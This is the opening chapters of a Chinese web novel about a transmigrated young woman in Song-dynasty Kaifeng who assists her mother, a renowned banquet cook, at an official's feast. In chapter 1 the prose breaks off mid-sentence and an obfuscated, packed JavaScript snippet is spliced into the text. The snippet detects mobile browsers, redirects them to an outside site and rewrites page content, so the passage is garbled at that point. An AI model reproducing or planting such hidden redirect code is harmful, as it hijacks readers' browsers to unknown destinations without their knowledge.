《汴京生活日常》 1. 汴京有宅 “闰姐儿,闰姐儿?” “醒醒!” “再不起来,一会儿赶不及去吴副都指挥使家,你娘又要骂了。” “闰姐儿?好心肝,快些起来吧,婆婆给你买了州桥边上曹家从食店的蓬糕,还有朱雀门南边鹿家的羊白肠,这东西现煎现吃最好,一会儿凉了你可别恼!” 菱格窗扇斜斜照出暖黄日光,映在挂起的素绿色床帐上,又顺着被老妇人掀起的间隙,悄悄爬上年轻小娘子白净美丽的脸,她紧闭的双眼微微翕动,像是被光吵着了,迷蒙不清的嘟囔了起来。 “唔,再睡一刻。” 年轻小娘子闭着眼摸索着,把衾被往头上一蒙,老妇人似乎又说了什么,但她并未听清,索性安心睡过去了。 直到…… 一股油脂被煎开迸发出的浓烈香气飘进屋,还混着羊肉的鲜美味道,直往人鼻子里冲。 不消片刻,一个杂发散乱的脑袋从衾被里冒出,她眼睛都还没睁开,人就像没有骨头的草儿般从床上长出来,鼻子用力嗅着,“香!” 与此同时,滚烫的白布巾被眼疾手快的盖到她脸上,烫得她嘶一声,紧接着是毫不留情的大力揉搓,知道的是洗脸,不知道以为要搓个痦子下来。 卢闰闰当即龇牙咧嘴,惊呼一声,大叫求饶,“疼!婆婆轻点!” “我就没用力。且安心吧,你这嫩脸擦不破。”老妇人梳着包髻,头发一丝不苟都束在褐色布巾里,半点杂碎发没有,定是涂了香油才能如此平顺板正,而两边也是简单戴了红线穿的银耳坠,上薄衫下是肥大的裤儿,没围裙裳,整个人看起来敞亮又精神,一瞧就知晓是干活利索的人。 卢闰闰揉了揉泛起红痕的脸颊,疼得直蹙眉嘟嘴,暗叫这还没用力,她这是脸,不是那猪皮肉! 不过好在人是清醒了。 她捂嘴打了个哈欠,把脚放到脚踏上,胡乱摸索着鞋的位儿。 没叫她费心,一双温热有力的粗粝大手抓住了她乱窜的脚丫,把鞋袜给她套了上去。接着,卢闰闰手里又被塞了一把竹柄刷牙子,是粘好盐的,她熟练的开始刷牙。 受限时代,竹柄上两排洞上扎的是马尾毛,刷起来刚硬,一点都不舒服,好在卢闰闰穿来十几年,已经用习惯了,再怎么也比生嚼柳枝来得舒服。 她刷着刷着,眼睛又不自觉闭上,好在这是凭手感的事。 至于漱口的水和底下垫的瓦盆,自有陈妈妈操心,若不是人不能把魂塞进别人身上,陈妈妈恨不能连吃喝拉撒都替了,叫卢闰闰能懒洋洋待床上享福。 卢闰闰刚咕噜一口温乎的水,头上,陈妈妈就开始滔滔不绝的念叨起来。 “你娘去吴副都指挥使府上做席面,逞威风把唤儿那丫头给带去端茶递水,家里连个帮我搭手烧水的人都没有,还得使钱去街上买洗面水,整两文呢,也不把面盆兑满,钱都叫这些黑心肝的人给赚去了。 “哪像我们,一日日净做好事了,那钱家娘子说是晚两日缴掠房钱,如今都已迟了四五日,枉她夫婿还是吏人呢,在府衙为官人们办差写文书,哪会没资财,定是想要一日拖一日,到时昧了一月的掠房钱去。当我不晓得呢,呸,贪财鬼转世的贼婆娘! “闰姐儿,你少搭理她们家的人,她家的小娘子看着就邪性。” “对了,过两日又到十五了,你可是在佛前许愿的,点心可别忘了亲手做,那一整日婆婆我都给你做素食吃,可千万别自己偷摸去州桥夜市吃杂嚼尝了荤腥,对佛祖不敬!” 陈妈妈说着,就双手合十,虔诚地念了声阿弥陀佛。 但还未虔诚片刻,她又忍不住喜滋滋道:“我们闰姐儿当真是有孝心,为了你娘的病能痊愈,许愿一年里每逢初一十五都去大相国寺布施送素点心。这点真是像极了你亲婆婆,她当初也是尽心侍奉父母,孝名远扬,这才引来你翁翁遣媒求娶,你翁翁也是好福气……” 陈妈妈从前是卢闰闰婆婆的婢女,她夸起旧主人是没完没了的。 卢闰闰刚醒,哪能仔细听,边仔细刷牙,边含混不清的瞎应,蒙混过关。 好不容易混过这茬,陈妈妈又开始说起卢闰闰。 她唉哟一声,急得猛拍大腿,“祖宗哦,怎么还没醒神呢,莫不是昨夜又偷摸去瓦子玩了? “你娘知道了可得骂你,她本来就怨我将你宠溺过头,你可别叫她晓得我又帮你将面盆牙刷子送进来。但你才刚醒,哪能在院子里吹冷风,养哥儿姐儿得精细些才是,你是不知晓,当初你翁翁婆婆是如何养你爹爹的。 “倘若你早些年生出来,哪能就和你娘用一个婢女,身边怎么也得跟着三四个婢女才是……” 一说起卢闰闰素未谋面的祖父母,还有卢宅从前的风光,陈妈妈是喋喋不休,没个停的时候。毕竟,陈妈妈是她祖母的陪嫁,后来做了她爹的乳母,一心向着卢家。 卢闰闰习以为常,耳朵都听出茧子了。 大致来说,卢家早两三代的时候是风光过的,有位先人,应是卢闰闰翁翁的翁翁中过进士,当过官,据说是正七品,还是在汴京,娶的妻子又持家有道,极善经营,挣下了这宅院并一份家业。 最厉害的时候,家里在马行街有四五间铺子,京郊跟外地还有许多田地。 可惜之后,后代再没出个厉害的读书人,尤其是卢闰闰翁翁的爹,没有文人的才华,连个举人都没中过,却有文人的讲究,爱玩弄字画,吃喝精细讲风雅,什么金贵吃什么,鲥鱼只吃月牙肉,羊头签只用羊两边脸肉,其他的都弃之不要,一盘得耗费两头羊。 所幸家业够大,叫他滋润了一辈子,挥霍到寿终正寝。 轮到卢闰闰翁翁的时候,就没那么好运了,只能勉强维持排场,内里已是捉襟见肘,铺子和田地都卖得差不多了。 尤其是娶卢闰闰的娘进门,为了脸面,他们铆足劲铺张,足足摆了三日的席面,成筐的铜钱散给乞儿,连祖传的字画都给当了。 不过,卢闰闰的翁翁婆婆在那之后,没两年便故去了,也算是荣华富贵一生,没受苦。 转过年,她爹也死了。 就轮到卢闰闰的亲娘谭贤娘当家,她当家的时候,能卖的都卖了,靠着嫁妆坐吃山空无非是等死,于是便把这三进的大宅院改了改,开了两道门,倒座和后罩房悉数租出去,有个长久的进项。 而且谭贤娘还有祖传的好手艺,托人在渤海郡王妃寿诞时献上了《辋川图》。 并非画出来的画卷,而是用瓜果蔬食,用脍、酱、炸等手法做出来的,初端上去时是亭台楼阁等分开的二十道,而二十道菜汇合,竟能拼凑出《辋川图》。 技惊四座。 名声一出来,就叫谭娘子成了宴席里备受青睐的厨娘,自此不缺钱帛。 但她并非其间最出彩的,大宋汴京繁华已极,物华天宝,能人汇聚,就连这厨娘也极是讲究,手艺高超者不胜其数。大富贵之家聘请的厨娘,甚至能集貌美、善书算、气质清雅为一体,手艺更是不必提,但也身价昂贵。 不过,未必要做到如此才会受追捧。 说到底,还是噱头,有以豪奢扬名的厨娘,所用锅杓碗盘皆为金银器,所用食材亦要极浪费昂贵。 也有以某一专长扬名,譬如宋五嫂,擅鱼羹,曾被官家召见,上赞扬,此后人竞市之,宋五嫂便从凄苦贫寒一跃成富媪。还有擅鱼脍的、羊脚子的、点茶技艺的…… 卢闰闰是现代人,感慨这不正是营销吗? 好在她娘谭娘子已经打出声望,她不用再费心扬名,来日她只要说是承自亲娘的手艺,就足以引人聘请了。 她是准备好好学厨艺的。 毕竟,家里的空屋虽然能租赁收掠房钱,也并非间间都能租出去,朝廷还要收税,又得按人头给军巡铺暗地里交些孝敬钱,只指望掠房钱,日子过得紧巴巴,还是得多个进项。 她娘说了,将来家里是要给她招赘的,不学好手艺,如何养家? 卢闰闰深以为然,她没想到她的宋代娘亲思想如此开明,自然不能辜负。 而且,每每去别人府上做席面,打下手,她都能瞧到好些热闹,主家赏金还不菲,她得趣的很。 念及此,卢闰闰陡然精神,净面后,利落地穿衣,换了鲜红色描金绣球花纹样抹胸,外穿碧绿短袖对襟长褙子,褙子素净简单,因为时人以素净雅致为美,但对襟两边是彩绘荷萍鱼石鹭鸶花边,用毛笔一笔笔勾勒画出,极为繁复美丽。 这也是无奈之举,做厨娘并非简单腰上围布就成。 时人,尤其是中下之户,生女如捧璧擎珠,尤其是资聪貌美的,授请技艺,资质最上等的,来日可以做针线人、杂剧人等,厨娘是里面最下色的了,也是非富贵至极的人家不可用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506420|186077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 像吴副都指挥使这样富贵门庭,更注重聘请厨娘的排场,所以做厨娘也需衣裙讲究,要不然主家得遭人耻笑。 这可是富贵繁华的汴京! 否则,人家凭什么动辄几十贯,乃至上百贯的给工钱赏钱。若是如市井仆妇,穿着仅蔽体的粗布肥衫,连裙裳都围不起,那一日便只得百文了。 好在卢闰闰不像她娘是掌厨的人,不必梳高髻,腰系佩环,只要简单讨喜就成。 故而,被拉到妆奁前时,陈妈妈给她选了正红的发带,胸前挂了祥云如意长命银锁坠子,走动时,银锁底下的珠子互相碰撞,还会发出清脆的响声。 至于耳坠子就不戴了,上回卢闰闰跟着谭娘子去做席面,丢了一只玉坠子,可心疼死人了,是她做武官的大舅父从边疆托人送来的,少说得三四贯呢。 趁着陈妈妈帮自己梳发髻的闲时,卢闰闰拿过碟子,夹起旋炙羊白肠开始吃。 有些微微凉了,羊肠没有刚出锅时滚烫的香气与薄薄的脆皮,但香味仍在,内里是嫩口的羊血,应该还掺了花椒或者葱姜泡的水儿,一点腥味没有,甚至有点儿咸香气,羊油脂被炸成雪白泛黄的色泽,吃着汁水四溅,很是好吃。 卢闰闰颇为满意,不愧是曹家从食店的旋炙羊白肠。 说句公道话,虽然她娘是厨娘,但论起这道旋炙羊白肠,还是人家更胜一筹,应是还有其他料,羊血凝固的手法也有所不同,具体如何,卢闰闰也猜不出来,要不怎么是人家的秘方。 待她吃完以后,头发也梳好了,闺阁女儿娇俏的双丫髻,是将发髻绑在耳下左右两侧。 而双丫髻两边正中各插了一个鎏银浮雕如意莲藕花纹华胜,莲藕花纹中间坠以一颗真珍珠,看着就像是嫩生生的白莲子,灵动生活,取的是一个巧思。 搭上那叮叮当作响的长命银锁,使得她整个人骄蛮中透着两分俏气,一瞧就知道是好人家捧在掌心里养大的。 才梳好呢,卢闰闰就等不及了,把另一个盘子里翠嫩嫩的两块蓬糕拿在手上,眼睛也不看底下的路,边往外跑边吃,上头的红枣差点掉了一颗,还是卢闰闰眼疾嘴快,速速低下脖子,张嘴咬住,给吃了。 陈妈妈看她着急忙慌的,便开始心疼。 她着急地招手唤卢闰闰,“哎呀,慢些慢些,小轿我已经叫到门前了,出去便能坐上,晚不了!你在屋里吃完再出去也成,左不过让那轿夫再等等。 “看路! “租轿钱我给过了,可别叫人家骗着再给一回!” 任凭陈妈妈怎么呼喊,卢闰闰的身影还是消失在门前,只留下招手回应的虚影。 * 卢闰闰上了二人抬的青布小轿,就在晃晃悠悠中吃起了蓬糕,这是用白蓬和米粉以及蔗霜一块做出来的,口感不粘,反而像糕点,松松散散,入口可以抿开,香甜不腻。 她很爱吃! 比起水团的甜与黏腻,茶点心的噎,馒头的绵,蓬糕的口感更得她心。而最上头点缀的蜜枣,带着红枣微微的酸,果肉的清香,丰富了滋味。 虽然人力抬的小轿比较晃,但没有现代车刺鼻反胃的汽油味,卢闰闰吃着东西不影响胃口,甚至屁股故意随着轿子的晃悠左右扭着,轻声哼着昨日在瓦子听的诸宫调的调子,打心底腾起雀跃感。 她顺手把轿帘给掀起来,映入眼帘的是接踵不断的人流,轿子正过虹桥呢,虹桥横跨汴京,足有两丈余宽,但桥两边挤满车担浮铺,有的还在大伞下挂了写价钱的木牌,譬如甘豆汤五文一碗、荔枝饮十文一碗,还有在推车上挂小旗,写香饮子、蔡婆婆肉饼等浮铺名的。 一眼扫过去,全是吆喝叫卖的商贩。 若是简单的叫卖倒是还好,偏偏宋代商业发达,小贩们也竞争激烈,一个个别出心裁,卖包子唱包子令,卖渴水熟水这些香饮子的唱甜水令,各有曲调,混杂在一块,简直一奏又一奏,有高有低,交相扰耳。 卢闰闰刚穿来两年时,才两三岁,偶尔被抱出门看热闹还会震惊得目瞪口呆,两圆溜溜的眼睛转个不停,如今已经习以为常了。 正当她准备放下帘子的时候,一道额外不同,声音凄然的叫卖声把她疑惑住了。 吆喝叫卖的,大多是夸自家的东西,还有曲调高昂唱物名的。 但他…… “亏~便亏我也~~” 2. 为难 这话的意思是他吃亏就吃亏了。 稀奇! 还有摊主人主动吃亏的? 卢闰闰定睛一看,是个卖饼子的小贩,他喊得愈凄厉,买的人便愈多。她忍不住失笑摇头,这倒是脱颖而出的好卖法,在汴京,商贩云集,永远能瞧见新鲜事。 她也不由得去买了两个饼子,然后才坐回轿子里,继续前行。 轿子只到后门,平日里采买蔬食、放恭桶都是走这道门,往里是后罩房,穿了游廊和一个院子,就到了灶房。别看吴副都指挥使只是五品的官,但那是身居要职,而且他有位公主娘,宅院自然比一般京官要大得多。 否则,许多官员在汴京都得租宅子住,有些不善经营的官员,甚至是携家带口住在偏僻的陋巷穷舍。 文官俸禄虽丰厚,耐不住汴京屋舍价贵啊。 故而,卢闰闰对自己家有个好地段的三进大宅很是满意。这就像是在故宫边上有座四合院一样,就算她做个懒散的小娘子,也够活得安闲从容。 和守门的小厮说了来处,报了她娘的名号,就被放进去了。 今日吴副都指挥使家里办宴席,后门来来去去许多人,如川流涌动,什么搬菜的、送酒的,许多人都看着眼熟得很。毕竟名头大的,来去就那几家。 像是正在送酒的就是白矾楼的小厮,白矾楼也就是樊楼,据说樊楼原本是卖白矾的,也有说原来主人家是做贩卖白矾生意的,总之,老一辈汴京人都爱这么喊樊楼,好透点与众不同的骄矜,以此证明见多识广,是地地道道的汴京人。 那白矾楼跑腿的小厮见卢闰闰看他,忙点头扯笑,笑容尽显讨好和善之意。 卢闰闰瞥开眼睛,面无表情颔首了下,就走了。 不是她刻薄瞧不起人,做厨娘少不得同外人打交道,生疏些才不容易落人口实,而且接触的人杂,脾气越不好,人越计较,才越不容易遭欺软怕硬的人欺负。 这些都是她娘耳提面命的。 卢闰闰才不会自诩上辈子活过一回,就高高在上的看不起这个时代的一切规则。事实证明,她娘说的都是圭臬良言,自从她学会冷脸看一切,巷子里的小娘子小郎君没一个敢轻易招惹她。 虽然凭陈妈妈护短蛮横的威名,附近几个巷子本就没有小娘子小郎君敢欺负她…… 卢闰闰就这么面无表情的走到后罩房,这里又有一道门,守门的是两个身形粗壮敦实的婆子。她们俩查人就严得多,像前边送菜推车的人,菜就被挑三拣四,不得不私下偷偷塞了点钱给她们。 还有一个应也是外头请来的人,显然是刚出来做活没几日的小娘子,被刁难以后,就站在一旁不知所措。 轮到卢闰闰的时候,要好一些,她穿衣打扮就有别于一般的市井人家的小娘子,板着脸,人又窈窕白皙,顿时显出些富贵人家厨娘的不俗气质,寻常人都不敢轻易招惹。 见那膀大腰粗的婆子面露踌躇,恐怕还是想要趁机要点钱。 卢闰闰当机立断,她蹙起眉,美丽的小脸上满是不耐,喝道:“若不信我,只管唤人喊我娘来查验,磨磨蹭蹭的把人拦在这做什么?耽误了宴席,不怕你家主人怪罪!” 没想到好好一个生得如画般娇美的小娘子,脾气竟这么差,也不知是怎么养的。另一个婆子拉了拉拦人的胖婆子的衣袖,胖婆子也知道若真的耽误了主家的宴席,丢了颜面,自己一个看门的婆子少不得挨罚,保不准还会被赶出去。 总之,暗地里收钱为难人的事,只能欺负欺负见不到主家,不敢得罪她们的人。 胖婆子退让了,撇了撇嘴不说话,另一个婆子就赶忙迎卢闰闰进去,殷勤赔笑道:“小娘子慢些走,往前走着就能见到灶房,今儿人多,一准不会认错。” 卢闰闰随意点了点头,她临进去前,看到那门边上站着的羞敛小娘子,忽而出声问道:“四司六局的?” 羞敛小娘子如蒙救星,眼中有光,重重点头。 卢闰闰哦了一声,招手喊她一块进去,状若寻常道:“走吧。” 随后,她便带着那羞敛小娘子,高高昂着脖子走进去。 正因如此,那赔笑的婆子才心有余悸的同胖婆子道:“好在没把人得罪了,这看着就像会闹事的主。” 胖婆子不忿,眼神怨怪,“左不过来日也是做厨娘的命,和我们这些下人有甚分别?也不知哪来的傲骨头。” 赔笑的婆子惊异地看了她一眼,不自觉撇了下嘴角,掩饰住不屑,旋即解释起来,“你刚从庄子上来,怕是听闻的少了,像她娘那样的厨娘,可不是我们这些下人能攀着比较的。那可是王公贵胄排着轿撵请她做菜,家里一串串铜钱堆成山呢! “可惜我那女儿生得不够灵秀聪慧,否则,从小送去教习厨艺,又兼识字算术,等到如今,也能叫我一家衣食无忧了。” 听了赔笑婆子不甘愿的感慨,胖婆子简直要吓慌了,不由咋舌。 赔笑婆子的女儿她见过,生得端正美丽,为人灵巧,因此被娘子看中,做了二娘子院里的婢女,在她眼里已经是金玉一般的人儿了,连这都做不得厨娘? 胖婆子见识少,她以为的厨娘无非是乡野脚店里,一身肥腻油污的胖厨娘,终日与灶火为伴,拾掇得乱七八糟。她哪知道大富大贵之家请的厨娘是何等品貌,得堆多少金银奉养着,甚至到了让许多人家不重生男重生女的地步。 卢闰闰没把刚才的波折放在心上,她本就迟了,又被耽搁,一会儿定然少不得被阿娘骂,但她也不敢走得太粗鲁,在外头这样要是被她娘知道了,那可真就是…… 毕竟能拿主家那样高的工钱与赏钱,总要做出姿态来,让人家觉得她们不是等闲人能请到的,如此一来,噱头足了,主家在宾客面前有了面子,她们也得了实惠,皆大欢喜嘛。 所以到了主家的地界,端起做派架子便万分紧要。 故而,她迈的步子虽小,却行得极快,裙摆并未大幅度摇晃,而是像流苏一般婷婷袅袅,只露出绣鞋尖尖,颇有几分勾栏里弹唱的伎人的婀娜闲适。 但这可不是贬低之词,宋时的勾栏是正经表演场所,那里的女伎人若是足够出色,还会被官家召进宫表演,有时还会得到敕封,追捧其就成为京都风尚。 而方才侥幸跟着卢闰闰进来的羞敛小娘子则亦步亦趋走在她身后,看着卢闰闰的眼神都泛着光。 “你、你人真好,你一开口,那婆子连拦都不敢拦,我、我姓余,家中行六,家住录事巷,你、你呢?” 这小娘子话倒是不少,就是紧张起来结结巴巴的。 卢闰闰听见录事巷的时候,心里闪过讶然,那里住的多是妓院暗娼,就只有临着边上绣巷的那一块还住着少许女尼。她倒是不常去,不过录事巷的师姑们常常做针线活卖,陈妈妈有时贪便宜就会去那买些鞋袜袖筒之类。 为此,陈妈妈颇有微词,她说卢闰闰的祖母女红的手艺就极好,当时卢闰闰祖母家还养了一个专做针线的娘子,对心思灵巧的卢闰闰祖母可喜爱了,不惜倾囊相授。 结果,谭贤娘做人新妇,是一点没有学会,以至于卢闰闰学不到这份手艺,那些简单的活计如今甚至还要出去买。 当然,这话她也只敢在卢闰闰面前说,是不敢在谭贤娘跟前念叨的。 卢闰闰只是在心里闪过讶异的念头,面上并未表露出来,人家什么出身有什么故事又和她没关系,所以她哦了一声,言简意赅道:“卢蔚,你可以喊我蔚娘。” 卢蔚是卢闰闰正经取的大名,她小时候家里怕养不活,于是算命取名,闰闰这个乳名是特意合了她的八字所取。 余六娘见卢闰闰没有因为自己的住处面露嫌恶,眼神里的欣喜,是怎么也掩不住。她想上前亲近,又不是很敢,一时踌躇起来。倒是卢闰闰,她都未放在心上,只随口闲聊,“你是四司六局里新来的吧?” 余六娘惊讶不已,看卢闰闰的目光更添了两分崇拜,“你怎么知道的?” 她刚问完,迎面走来一个四司六局的人,手上抱着花卉,显然是去布置宴席的,对面的女子见了卢闰闰,就笑吟吟打招呼,卢闰闰也礼貌唤人。 越往前头走,越能看到忙碌但井然有序的四司六局的人。 卢闰闰一经过,好多人同她打招呼,再不济也是含笑点头,倒比余六娘这个四司六局的人要显得熟稔许多。 卢闰闰没有回答余六娘,她摊了摊手,不言而喻。 因为四司六局的人大部分她都熟得很。 四司六局会承办官家、权贵,以及少数豪富的宴席,她们不但负责从宴席帖子到酒水醒酒茶,乃至场地、灯火、摆设、碗碟清洗等,从头至尾不需要主人家操一点心,还能根据主人家的要求,灵活变通。 只要银子够,就没有四司六局办不到的。 谭贤娘作为汴京城里首屈一指的厨娘,自然和四司六局多有交道,毕竟许多官宦人家指名道姓要请谭贤娘做菜。 卢闰闰也就熟稔了。 她要给她娘打下手嘛! 说着,就有一个娘子瞧见余六娘,急着斥责道:“头一日来怎么还迟了,若非妙慧师父一再请托,我可是不愿意领你的,油烛局的活计轻省,多少人抢着做呢!” 油烛局是四司六局里管宴席中灯火的,要看着火不熄灭,时不时添油,虽说不似台盘司能上菜见宾客得赏钱 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果不其然,当她踏进门,就看到她娘身边簇拥着两三个人,正忙碌不已。虽是在灶房里,她的娘亲谭贤娘也仍是显得光彩照人,但也不稀奇,尽管她已经有了卢闰闰这么大的女儿,可实际才不过三十许的年纪,放在现代,正是干一番事业的大好年华。 而且她肤白,容貌秀美,在烟熏火燎的灶房里自是醒目。 比起时不时要提醒自己装一装的卢闰闰,谭贤娘一举一动就当真如仕女图一般,姿态窈窕美丽。 不过,当她开口的时候,这份岁月静好的美丽就被打破了。 “你是怎么摘的?这些花瓣边缘破损,如何用?”谭贤娘语气中尽是严厉不耐,斥责的语气听得人心里一颤。 见此情形,卢闰闰心中暗道不好。 果然,下一刻,谭贤娘余光看见了卢闰闰,目光凌厉,语气不留情面,嗤笑一声,“怎么?既到了,还杵在那做什么,要我请你上前来不成?” 卢闰闰当了她娘十几年的女儿,自然有眼色,忙不迭上前,不敢嬉皮笑脸,识时务地低头认错。 到底是亲生的,谭贤娘剜了她一眼,便继续告诫帮厨的娘子。 “你且记住,这道酥炸牡丹花片,最要紧的便是炸得轻薄美丽,虽裹了面糊,却能看见花瓣的脉络。可别以为裹了面衣炸就能遮住破损,今日可是魏国大长公主孙儿的百日宴,不知多少皇室贵胄前来。 若叫宾客看了笑话,丢的可不只是主家的面子,还有你四司六局的声誉,跟我谭贤娘的名气! “若是再出错,就换个人给我帮手。” 谭贤娘平日里还是好说话的,可一旦涉及到厨艺,从来是正色敛容,眼里不容一粒沙子。 时人喜爱温婉清雅的女子,但在卢闰闰看来,比起文雅的举止,秀美的容貌,她娘亲在灶上认真严厉的模样,那份游刃有余的沉稳,才真正使得她整个人焕发光彩。 卢闰闰摇摇头,暂且把这些乱七八糟的念头压下去,主动接过那沥水竹篮,仔细打量起来,“破损的不多,我看还剩下些牡丹花,我摘了洗一洗,定是够的。” 谭贤娘本来也不是有意为难对方,她对事不对人,所以当卢闰闰来打圆场的时候,她轻轻颔首,而手上动作则不停,先是滴了几滴面糊试油温,确认可以后,才开始将完好的牡丹花瓣裹上面糊,入锅油炸,炸到浮起,趁着它还未完全发黄就夹起来。 卢闰闰去摘余下的牡丹花瓣,而谭贤娘手上不停,面上瞧不见什么神色,淡声和帮厨的那位娘子道:“这酥炸牡丹花片,要紧的不单是好吃酥脆,还要粉嫩好看,若是炸得通体酥黄,就少了牡丹的色泽,边缘泛黄即可,入口同样酥脆。” 卢闰闰偷偷点头,她娘严厉归严厉,人却是不差的,从不在暗里动手脚。 她开始认真摘牡丹花瓣,春日将将过去,牡丹有些过季,能找到这样尚未完全开,花瓣又要大而饱满的牡丹花可不容易,也贵得很呢。 卢闰闰坐在小竹凳上,重复着摘花瓣的动作,困意后知后觉袭上来,她打了个哈欠,眼角浮出些泪,正有些迷瞪呢,身边忽然飘来一阵浓香。 旁的香料不说,卢闰闰先嗅到的就是龙脑和麝香,这些都是昂贵香料,浓郁芬芳,四司六局的人可熏不起。 那定然就是宴席上染到的。 她已经猜到来人是谁了,她抬起头,果不其然,就是端着红木托盘的魏泱泱。 “卢闰闰!” “魏泱泱!” 一个眨了眼,一个挑了眉,露出心照不宣的笑容。 “杂嚼?”魏泱泱凑近她小声道。 卢闰闰点头,伸手比了个一。 魏泱泱颔首。 旋即两个人露出了心照不宣的狡黠笑容。 3. 娘要改嫁 魏泱泱没能待太久,她是来端菜的,一块的还有许多台盘司的娘子,大家整齐地来,也要整齐地去上菜。要不然乱糟糟地上去,多难看呀,哪有四司六局的井然有序的风范。 浑水摸鱼和卢闰闰约好了以后,她就重新站了回去,等着人轮流放菜到她的托盘上。 趁着等的空闲,她还冲正在将牡丹花瓣递给谭贤娘的卢闰闰挤眉弄眼。卢闰闰瞬间意会,扬唇点头,给了个放心吧的眼神。 如此一来,魏泱泱直到端着托盘离开,看起来心情都颇好。 而谭贤娘注意到卢闰闰的走神,板着脸盯着她。 卢闰闰回过头,见此情形,讪笑起来。 母女二人在外面是一荣俱荣,一损俱损的,谭贤娘懒得说她,见她回神就继续炸牡丹花瓣,而帮厨的娘子则在不断摆盘,把炸好的花瓣拼凑成完整的牡丹模样,其色泽粉嫩如初,若是站得远一些,完全看不出炸过的痕迹,怕是以为端上的是开得正盛的牡丹。 另外有台盘司的人,专门负责把摆好的酥炸牡丹花瓣的琉璃盘放到台盘司负责端菜的娘子们的托盘上。 是的,琉璃盘。 这是四司六局之物,宋朝没有什么百姓不能用金银碗筷的约束,大正店待客用的都是金银碗盘,瓷碗瓷盘反倒不受欢迎,而论昂贵稀缺,则是琉璃大于金银。 即便是宗室贵胄,宴席能用琉璃器具也是很长脸的。 但他们自己恐怕很难凑齐足够一整个宴席的宾客使用的琉璃碗盘,倘若只给主桌的宾客用,又显得小气了些。因此,这就是选四司六局的好处之一了,再难办的也能办到,且事事熨帖。 卢闰闰帮着她娘裹花瓣,有帮着帮厨的娘子将花瓣摆盘,一刻不停歇。 好不容易所有的琉璃盘都端走以后,她忍不住长舒一口气。 做厨娘可真是个精细活。 而沥油的竹篾篮里还剩下不少炸好的花瓣,卢闰闰望向她娘,不说话,就是谄笑。 看着与自己相似的面容露出这样的表情,谭贤娘默默移开脸,淡声道:“自己拿,瞧我做什么?” 当娘的都不需看,闻都能闻出孩子的小心思。 得到首肯,卢闰闰忙不迭寻了个不值钱的瓷碗,往里装了些酥炸牡丹花瓣,然后拿了个竹罩把瓷碗罩住藏起来。 方才魏泱泱给她的眼神暗示,分明就是也想尝尝的意思,作为认识多年的四司六局上工搭子,卢闰闰哪能不知道对方的心思。 而方才的杂嚼与手势,则是二人约好了一更天的时候去州桥夜市吃宵夜。 思及此,心情颇好的卢闰闰也顺手捻起一瓣尝了起来。 花瓣本来该是湿湿软软的,虽然有香味,但是口感不好,然而经过油炸,外层有一层薄薄脆脆的壳,当咬开的时候,内里的花瓣一块被咬碎,口感上就只能尝到酥脆,等回过味来,就是满嘴的花香味,带点淡淡的甜。 而且越吃越香,在花的甜香之外,还有一种独特的香味,勾得人食指大动。 外人不知道,卢闰闰却是被谭贤娘私下教过的,盖因炸牡丹花瓣的油里做了文章,谭贤娘用的不是一般的油,而是酥油,类似现代的黄油,为其增添风味,吃起来就会格外香。 而且,要做到既能完全不遮盖牡丹花瓣的脉络,还要口感酥脆,十分考验对油温火候的掌控。 卢闰闰觉得花瓣外面酥炸的面糊口感像是现代吃过的天妇罗,但味道更丰富,难度也更大一些。 她忍不住点头,由衷夸赞道:“娘,你的手艺愈发好了。” 谭贤娘没有理会卢闰闰真心实意的奉承,对她而言,如此简单的菜式,当不得什么夸奖。 甚至旁人做也是可以的。 只不过这道菜是头一道,请了她来掌厨,自然应该由她做,也好说出来叫宾客知道。 宴席做菜不是一道一道做的,而是早早将所有料备好,蒸的掐着时辰提前放入蒸笼,杀羊宰鱼也是一早有专门的人负责。 第二道菜是爆肉角子,一种狭长的包子,第三道是莲花肉油饼,这两道都由四司六局的面食娘子来做,她们都是经验老道的厨娘,醒面和面什么的几乎不需要谭贤娘费心,她也就是尝一尝馅料的味道调得如何,稍加调整。 这些平平无奇的食物自然不能勾起卢闰闰的馋虫,她跟着娘亲去看宰杀好的鹌鹑。 尽管跟在她娘身后学厨艺许多年,这时候仍然看不习惯。 做羹是很寻常的做法,但是做法寻常,食材就不寻常了,鹌鹑是名贵的肉类,寻常百姓恐怕吃不上。而这宴席的鹌鹑羹只取鹌鹑身上最嫩的一部分,一碗羹少说要用上十只鹌鹑,由此可见,有多少只鹌鹑要被宰杀。 纵然有专人负责宰杀,卢闰闰也学了很多年厨艺,自己也能动手杀鸡宰羊,但看到这么多密密麻麻的鹌鹑铺在地上,也叫她心底发毛。 怪不得说君子远庖厨。 谁见了这情景能不心生愧疚怜悯? 可惜啊,总有人要当这厨子。 卢闰闰撇开目光,跟在她娘身后,帮着一块瞧肉取得如何,可有以次充好的。 好在规矩大家都是懂的,又不是皇宫里的御厨,不怕宾客告状,她们四司六局的人最在意的就是名声,吃油水有它的吃法,譬如这满地的鹌鹑,即便少了最鲜嫩的部位,余下几只卖出去也是不菲的进项,可不敢去骗那些达官贵人们养得精细的唇舌。 卢闰闰跟在谭贤娘身后,回到灶房里,正准备打水去清洗,却被谭贤娘叫停。 谭贤娘问起正在烧火的唤儿,“鹌鹑羹之后是清汆鳆鱼和罂乳鱼吧?而后才到鸡丝签。” 唤儿沉默寡言,只知道默默干事,故而面对谭贤娘的问话,只是抬起头,缓慢点头。 她是卢家早些年买回来的婢女,家里人都习惯了她的性子,谭贤娘也没当回事,不爱说话有什么?人老实肯干就行。 谭贤娘转过头吩咐起卢闰闰,“你不必帮我了,去,今日的鸡签你来做。” 这算是谭贤娘对自家女儿的历练,一来鸡丝签简单,做起来不难,二来时辰充裕,纵然是卢闰闰做毁了,自己上手补救也容易。 父母之爱子则为其计深远,卢闰闰光是埋头苦学厨艺是不成的,还得能应付得来宴席,谭贤娘遇到适宜的时候也会让她试试。 卢闰闰脸上没有紧张的神色,反而跃跃欲试。 笑话,她跟着她娘也学了好几年了,鸡丝签如何做不来? 终于到她大展身手的时候了! 所以卢闰闰果断放下手里的鹌鹑肉,当然她也有点不想做这个,转而麻利地去挑笋了。 